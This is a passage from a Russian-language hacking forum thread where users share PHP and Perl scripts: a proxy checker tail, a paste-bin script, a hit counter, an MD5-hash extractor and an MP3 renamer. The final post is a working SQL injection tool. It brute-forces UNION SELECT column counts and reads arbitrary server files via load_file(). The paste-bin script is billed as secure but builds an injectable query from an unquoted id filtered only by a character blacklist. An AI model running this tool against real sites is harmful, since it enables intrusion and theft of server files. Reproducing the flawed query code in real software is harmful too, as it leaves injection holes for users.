                                     } 
                                  // Just a blank call of the page - show the form for the user to fill in 
                                     
                                  else 
                                     { 
                                        echo 
                                  '<h2>Online Proxy checker</h2>' "\n"
                                        echo 
                                  '<h4>(http://' $_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'] . ')</h4>' "\n"
                                        echo 
                                  'Enter up to a maximum of ' $maximum_proxies_to_test ' prox' . ($maximum_proxies_to_test == 'y' 'ies') . ' to test' "\n"
                                        echo 
                                  '<form method="POST" action="' $_SERVER['SCRIPT_NAME'] . '">' "\n"
                                        echo 
                                  '<input type="hidden" name="action" value="fred">' "\n"
                                        echo 
                                  '<textarea name="proxies" cols=35 rows=' $maximum_proxies_to_test '></textarea><br>' "\n"
                                        if(
                                  strlen($password) > 0)    
                                           echo 
                                  'Password: <input type="password" name="password" size="15"><br>' "\n"
                                        echo 
                                  '<input type="submit" value="Check proxies">' "\n"
                                        echo 
                                  '</form>' "\n"
                                     } 
                                  ?> 
                                  </body> 
                                  </html> 
                                   
                                  1. KSURi

                                    KSURi tnega AOLPS

                                    Joined:
                                    6 Jun 2006
                                    Messages:
                                    458
                                    Likes Received:
                                    219
                                    Reputations:
                                    357
                                    Хорошо прокоментированный скрипт безопасной работы с mysql (копирайты в сорце).
                                    PHP:
                                    <?php
                                        
                                    /*    WPC Paste!
                                         *    Zarathu rules the Universe
                                         *
                                         *        By Zarathu
                                         *    www.thesarcasm.com
                                         *    
                                         *    [email protected]
                                         *
                                         */
                                         
                                        /* SETTINGS TO BE MODIFIED */
                                            
                                    $mySQL_user "YOUR_USERNAME";
                                            
                                    $mySQL_pass "YOUR_PASSWORD";
                                            
                                            
                                    $mySQL_database "pb";
                                            
                                    $mySQL_table "data";
                                            
                                            
                                    $mySQL_idField "id";
                                            
                                    $mySQL_strField "stuff";
                                            
                                            
                                    $URLtoPaste "http://www.thesarcasm.com/";
                                            
                                            
                                    /*$URLtoPaste:  Be careful.  This needs to include the path.
                                             *on my website, for example, if I had the paste.php in a
                                             *folder called 'bullshit' on the server, $URLtoPaste would
                                             *be "http://www.thesarcasm.com/bullshit/" */
                                             
                                             //Make sure the URL ends with a slash! :]
                                            
                                        /***************************/
                                        
                                        /*DO NOT MODIFY, YOU TURKISH ASSHOLE :]*/
                                        
                                    $ZarathuRulesTheUniverse TRUE;
                                        
                                        
                                    ?>

                                    <html>
                                        <head>
                                            <title>WPC Paste!</title>
                                        </head>

                                        <body bgcolor="#ffffff">
                                                
                                            <?php
                                                
                                                
                                                
                                    if($_GET['id'] != null && ($ZarathuRulesTheUniverse)) {
                                                    
                                    $id $_GET['id'];
                                                    
                                                    
                                    //security for you asshole hackers ;]
                                                    
                                    $security strpbrk($id'\'\"><.,;][}{+=*\\/)(');
                                                    if(
                                    $security != FALSE) { throwError(); }
                                                    
                                                    
                                    //if a hacker was trying to manipulate the script
                                                    //it would have already died.  therefore, we can
                                                    //safely call the following method.
                                                    
                                    getData($id);
                                                } else if(
                                    $_POST['textarea'] != null && ($ZarathuRulesTheUniverse)) {
                                                    
                                    $data $_POST['textarea'];
                                                    
                                    setData($data);
                                                } else if((
                                    $_POST['textarea'] == null) && ($_GET['id'] == null) && ($ZarathuRulesTheUniverse)) {
                                                    
                                    echoWelcome();
                                                }
                                            
                                    ?>
                                            
                                            <form method="POST" action="paste.php">
                                                <p>
                                                    <textarea name="textarea" rows="25" cols="98"></textarea><br />
                                                    <input type="submit" value="Send!" name="sendbtn"><br />
                                                    <a href="http://www.thesarcasm.com">Zarathu Rules the Universe</a>
                                                </p>
                                            </form>
                                            
                                            <?php
                                                
                                    //methods
                                                
                                                
                                    function echoWelcome() {
                                                    echo(
                                    "Welcome to WPC Paste!<br />");
                                                    echo(
                                    "This program is simple to use, unless you're a complete moron.<br /><br />");
                                                    echo(
                                    "Programmed by <a href=\"http://www.thesarcasm.com\">Zarathu</a><br />");
                                                    echo(
                                    "Enjoy!<br />");
                                                }
                                                
                                                function 
                                    getData($id) {
                                                    global 
                                    $ZarathuRulesTheUniverse$URLtoPaste$mySQL_user$mySQL_pass$mySQL_database$mySQL_table$mySQL_idField$mySQL_strField;
                                                    
                                                    
                                    //security bullshit for you asshole hackers
                                                    
                                    if($id == null && ($ZarathuRulesTheUniverse)) { throwError(); }
                                                    
                                                    
                                    //establishes connection...
                                                    
                                    $link establishConnection();
                                                    
                                                    
                                    //Alright, now that we've got our shit together...
                                                    //SELECT stuff FROM data WHERE id = $id
                                                    
                                    $query mysql_query('SELECT ' $mySQL_strField ' FROM ' $mySQL_table ' WHERE ' $mySQL_idField ' = ' $id);
                                                    
                                                    
                                    //need this array to convert into HTML
                                                    
                                    $newLines = array("\r\n""\n""\r");
                                                    if(!
                                    $ZarathuRulesTheUniverse) { throwError(); }
                                                    
                                                    
                                    //prints selected bullshit
                                                    
                                    if(!$query && ($ZarathuRulesTheUniverse)) {
                                                        
                                    throwSQLError();
                                                    } else {
                                                        while (
                                    $line mysql_fetch_array($queryMYSQL_ASSOC)) {
                                                           foreach (
                                    $line as $col_value) {
                                                               echo 
                                    str_replace($newLines"<br />"$col_value);
                                                           }
                                                        }
                                                    }
                                                }
                                                
                                                function 
                                    setData($data) {
                                                    global 
                                    $ZarathuRulesTheUniverse$URLtoPaste$mySQL_user$mySQL_pass$mySQL_database$mySQL_table$mySQL_idField$mySQL_strField;
                                                    if(!
                                    $ZarathuRulesTheUniverse) { throwError(); }
                                                    
                                                    
                                    //establishes that hairy son of a bitch
                                                    
                                    $link establishConnection();
                                                    
                                    $newID rand(1000000,9000000);
                                                    
                                                    
                                    //security!
                                                    
                                    $data str_replace("'""\'"$data);
                                                    
                                    $data str_replace("\"""\\\""$data);
                                                    
                                    $data str_replace(">""&gt;"$data);
                                                    
                                    $data str_replace("<""&lt;"$data);
                                                    
                                    $data str_replace('\\''\\\\'$data);
                                                    
                                                    
                                    //inserts shittles... watch me rule again.
                                                    
                                    $bullshit "INSERT INTO $mySQL_table ($mySQL_idField$mySQL_strField) VALUES ($newID, '$data')";
                                                    
                                    $query mysql_query($bullshit);
                                                    
                                                    if(!
                                    $query && ($ZarathuRulesTheUniverse)) {
                                                        
                                    throwSQLError();
                                                    } else {
                                                        
                                    $newURL "$URLtoPaste"paste.php?id=$newID";
                                                        echo(
                                    "<a href=\"$newURL\">$newURL</a>");
                                                        
                                    http_redirect($newURL);
                                                    }
                                                }
                                                
                                                function 
                                    establishConnection() {
                                                    global 
                                    $ZarathuRulesTheUniverse$URLtoPaste$mySQL_user$mySQL_pass$mySQL_database$mySQL_table$mySQL_idField$mySQL_strField;
                                                    
                                                    
                                    //establishes connection...
                                                    
                                    $link mysql_connect('localhost'$mySQL_user$mySQL_pass);
                                                    
                                    //...and checks for errors
                                                    
                                    if(!$link && ($ZarathuRulesTheUniverse)) { throwSQLError(); }
                                                    if(!
                                    mysql_select_db($mySQL_database) && ($ZarathuRulesTheUniverse)) { throwSQLError(); }
                                                    if(!
                                    $ZarathuRulesTheUniverse) { throwError(); }
                                                    
                                                    return 
                                    $link;
                                                }
                                                
                                                function 
                                    throwError() {
                                                    die(
                                    "Error! \n\n");
                                                    
                                    //if you really need a comment, here it is.
                                                    //throws an error and exits
                                                
                                    }
                                                
                                                function 
                                    throwSQLError() {
                                                    die(
                                    "Error! \n\n(" mysql_error() .")");
                                                    
                                    //if you really need a comment, you're an idiot.
                                                    //go fuck yourself.
                                                
                                    }
                                                
                                            
                                    ?>
                                        </body>
                                    </html>
                                     
                                    #17 KSURi, 23 Nov 2006
                                    Last edited by a moderator: 23 Nov 2006
                                    4 people like this.
                                    1. 7ion

                                      7ion Banned

                                      Joined:
                                      29 Oct 2006
                                      Messages:
                                      68
                                      Likes Received:
                                      26
                                      Reputations:
                                      2
                                      PHP:
                                      <?php 
                                      $file
                                      ="count.txt";

                                      if (!
                                      file_exists($file))
                                       {
                                        
                                      $fp fopen($file,"w");  
                                        
                                      fputs ($fp,"0" );  
                                        } 
                                      else 
                                        { 
                                        
                                      $fp fopen($file,"r+"); 
                                        };
                                      $numcountfread($fp,filesize($file));
                                      fclose($fp);
                                      $numcount++;
                                      $fp fopen($file,"w"); 
                                      fputs ($fp,$numcount);
                                       echo 
                                      $numcount;
                                      ?>
                                      небольшой пример текстового счетчика посещений.
                                       
                                      2 people like this.
                                      1. Ch3ck

                                        Ch3ck Elder - Старейшина

                                        Joined:
                                        9 Jun 2006
                                        Messages:
                                        1,363
                                        Likes Received:
                                        1,192
                                        Reputations:
                                        430
                                        Хм, конечно скриптом назвать нельзя, хотя авось кому-нить да и пригодится. Сегодня понадобилось хэши из всякой лабуды вытащить...
                                        PHP:
                                        <?php 
                                          $text 
                                        'Лабуда, разный текст Лабуда, разный текст 
                                                  Лабуда, разный текст тЛабуда, разный текст текста=)b2f387d9ebc680e559bc48d029c6c0efПриведите Лабуда, разный текст b2f387d9ebc680e559bc48d029c6c0efЛабуда, разный текст пример текста=) Типо такого...'

                                          
                                        $pattern "|[a-z0-9]{32}|is"
                                          
                                        preg_match_all($pattern$text$out); 
                                          echo 
                                        "<pre>"
                                          
                                        print_r($out); 
                                          echo 
                                        "</pre>"
                                        ?> 
                                         
                                        3 people like this.
                                        1. Slon

                                          Slon Elder - Старейшина

                                          Joined:
                                          9 Dec 2005
                                          Messages:
                                          123
                                          Likes Received:
                                          21
                                          Reputations:
                                          3
                                          Вот прикольный скрипт (переделывает имя MP3 файла из инфы в тэгах) полезно для спутниковой рыбалки, и сортировки музыки

                                          Code:
                                          use strict;
                                          
                                          my ($d) = @ARGV;
                                          $d = './' unless $d;
                                          
                                          my @l= ();
                                          die unless opendir(my $h, $d);
                                          foreach(readdir $h)
                                          {       next if /^\.+$/;
                                                  push @l, $_ if /\.mp3$/i;
                                          }
                                          closedir $h;
                                          
                                          my $c = 0;
                                          foreach my $f (@l)
                                          {       
                                                  next unless open my $h, "<$d/$f";
                                                  binmode $h;
                                                  read $h, my $t, 3;
                                                  my($a,$n) = ('','');
                                          
                                                  if($t eq 'ID3')
                                                  {       read $h, $t, 1000;
                                                          if($t =~ /TIT2...(.)...(.*)/s)
                                                          {       $n = substr $2, 0, -1+ord $1;
                                                          }
                                                          if($t =~ /TPE1...(.)...(.*)/s)
                                                          {       $a = substr $2, 0, -1+ord $1;
                                                          }
                                                  }
                                                  else
                                                  {       seek $h, -128, 2;
                                                          read $h, $t, 3;
                                                          if($t eq 'TAG')
                                                          {       read $h, $t, 128;
                                                                  ($n,$a) = unpack "a30a30", $t;
                                                          }
                                                  }
                                                  close $h;
                                                  $n =~ s/[\0\s\r\n]+$//s;
                                                  $a =~ s/[\0\s\r\n]+$//s;
                                          
                                                  next if $a eq '';
                                                  next if $n eq '';
                                          
                                                  my $r = "$a - $n";
                                          
                                                  $r =~ s/http:\/\///ig;
                                          
                                                  $r =~ s/[\0-\39]//g;
                                                  $r =~ s/[\\\/\:\*\?\"\<\>\|]/_/g;
                                          
                                                  while($r =~ /\s\s/) { $r =~ s/\s\s/ /; }
                                          
                                                  my $s = $r;
                                                  $s =~ tr/\300-\377\260\261/\200-\257\340-\357\360\361/;
                                                  printf "%s\n", $s;
                                          
                                                  $r .= '.mp3';
                                          
                                                  next if $r eq $f;
                                          
                                                  while(-e "$d/$r") { $r =~ s/\.mp3$/_\.mp3/; }
                                          
                                                  if(rename "$d/$f", "$d/$r") { $c++; }
                                                  else { print "$f $!\n"; }
                                          }
                                          printf "renamed %d of %d\n", $c, scalar @l;
                                          Вот подборщик кол-во union (вывод с load_file пока не доделал) запускать СКРИПТ.pl 1

                                          Code:
                                          #!/usr/bin/perl
                                          #=========================================================================#
                                          use LWP::UserAgent;
                                          use Getopt::Std;
                                          #=========================================================================#
                                          
                                          #=========================================================================#
                                          #=MAIN===================================================================#
                                          
                                          print "\n AAAAAA OOOOOO H   H\n";
                                          print " A    A O    O H   H\n";
                                          print " AAAAAA O    O HHHHH\n";
                                          print " A    A O    O H   H\n";
                                          print " A    A OOOOOO H   H\n\n";
                                          
                                          $filt=1; #only chars in resolt
                                          
                                          my $www = LWP::UserAgent->new;
                                          
                                          uss(); 
                                          
                                          if(!$ARGV[0]) {
                                          
                                          ans();
                                          while (true)
                                                  {
                                                  print "\nNew file (^c for quit) ->"; 
                                                  $f=<STDIN>;
                                                  $f =~ s/\n//;
                                                  enc(); #encode file
                                                  burl();
                                                  conn();
                                                  getres();
                                                  }
                                          
                                          }
                                          else
                                                  {
                                                  print "Url for brute-> "; $u=<STDIN>;
                                                  $u =~ s/\n//;
                                                  brute();
                                                  }
                                                  
                                          #=END=MAIN============================================================#
                                          #=======================================================================#
                                          
                                          
                                          sub brute()
                                          {
                                          $max=20;
                                          $res='';
                                          
                                          for ($j=1;$j<$max;$j++)
                                          {
                                                  for ($i=1;$i<$j+1;$i++)
                                                          {$utmp.=$i."26639-1,";}
                                                          
                                                  $utmp  = substr($utmp, 0, length ($utmp) - 1 ); 
                                                  $utmp  = $u." UNION SELECT ".$utmp."/*";
                                          
                                                  if($coll=chk($utemp)) {$utmp =~ s\26639-1\\g; print("[+$j] OK! Coloun number $coll is visible\r\n$utmp"); exit(0);}
                                                  else {print("[-$j] falure... ($szz Bytes)\r\n");}
                                                  #print $utmp."\r\n";
                                                  
                                                  $utmp="";
                                          }
                                          
                                          }
                                          
                                          sub chk()
                                          {
                                          $resp = $www  -> get( $utmp ) or die();
                                          $szz=length($resp->content());
                                          if ($resp->content() =~ /(\d+)26638/) {return($1);}
                                          }
                                          
                                          sub ans()
                                          {
                                          print "\nAnsver some questions ;)\r\n";
                                          print "Url for union-> "; $u=<STDIN>;
                                          print "Number of coloums -> "; $n=<STDIN>;
                                          print "Coloum with union -> "; $c=<STDIN>;
                                          $u =~ s/\n//;
                                          $f =~ s/\n//;
                                          }
                                          
                                          sub enc()
                                          {
                                          for ($i=0;$i<length($f);$i++) {$enc .= ord(substr($f, $i,1 )).',';}
                                          $enc  = substr($enc, 0, length ($enc) - 1 );
                                          $f=$enc;
                                          $enc='';
                                          }
                                          
                                          sub burl()
                                          {
                                          print "[~] File: $f\n";
                                          $ur = $u; $tmp='';
                                          for ($i=0;$i<$n;$i++)
                                                  {
                                                  if($i==$c-1) {
                                                                                  $tmp.="load_file(char($f)),";
                                                                           }
                                                  else {$tmp.="0,";}
                                                  }
                                          $tmp  = substr($tmp, 0, length ($tmp) - 1 );
                                          $ur.= "+union+select+$tmp/*";
                                          print "[~] url: $ur\n";
                                          }
                                          
                                          sub conn ()
                                          {
                                          print "[~] Sending ...\n";
                                          my $resp = $www  -> get( $ur );
                                          $cont = $resp -> content();
                                          }
                                            
                                          sub getres()
                                          {
                                          $s="</b><br><br>";
                                          $e="</p></p>";
                                          
                                          $result;
                                          #print $cont;
                                          print "[~] Start: $s \n";
                                          print "[~] End:   $e \n";
                                          print "[~] Searching...\n ";
                                          @stringz=split("\n",$cont);
                                          
                                          for(@stringz)
                                          {
                                          if(/$e/) { $p = 0; }
                                           $result .= $_."\r\n" if $p;
                                          if(/$s/){ $p = 1; }
                                          }
                                          
                                          $result =~ tr/a-zA-Z /a-zA-Z/d;
                                          
                                          if($result) { print "[+] I found something! \n\n $result"; }
                                          else {print "[-] Not found...\n ";}
                                          
                                          $result='';
                                          }
                                          
                                          
                                             
                                          sub uss()
                                          {
                                          print 'AOH SQL INJECTION TOOL By AoH]Slon'."\n";
                                          print 'Use aoh.pl 1 for brute colouns'."\n\n";
                                          }
                                             
                                          
                                           
                                          1 person likes this.